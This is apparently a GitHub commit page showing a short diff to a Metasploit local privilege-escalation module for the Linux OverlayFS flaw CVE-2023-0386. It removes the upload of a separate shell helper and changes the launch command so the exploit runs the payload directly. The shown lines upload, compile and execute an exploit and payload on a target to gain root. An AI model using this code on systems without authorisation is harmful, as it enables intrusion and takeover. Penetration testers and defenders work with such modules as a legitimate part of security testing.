Skip to content

Commit 130f146

Browse files
Apply suggestions from code review
Change to call setgid and setuid in the exploit before executing the payload Co-authored-by: Brendan <[email protected]>
1 parent 33152bf commit 130f146

File tree

1 file changed

+1
-3
lines changed

1 file changed

+1
-3
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -116,11 +116,9 @@ def exploit
116116
if live_compile?
117117
vprint_status('Live compiling exploit on system...')
118118
upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
119-
upload_and_compile(shell_path, exploit_source('CVE-2023-0386', 'shell.c'))
120119
else
121120
vprint_status('Dropping pre-compiled exploit on system...')
122121
upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))
123-
upload_and_chmodx(shell_path, exploit_data('CVE-2023-0386', 'shell.x64.elf'))
124122
end
125123

126124
# Upload payload executable
@@ -129,7 +127,7 @@ def exploit
129127

130128
# Launch exploit
131129
print_status('Launching exploit...')
132-
cmd_string = "echo '#{payload_path} & exit' | #{exploit_path} #{shell_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
130+
cmd_string = "#{exploit_path} #{shell_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
133131
vprint_status("Running: #{cmd_string}")
134132
begin
135133
output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])

0 commit comments

Comments
 (0)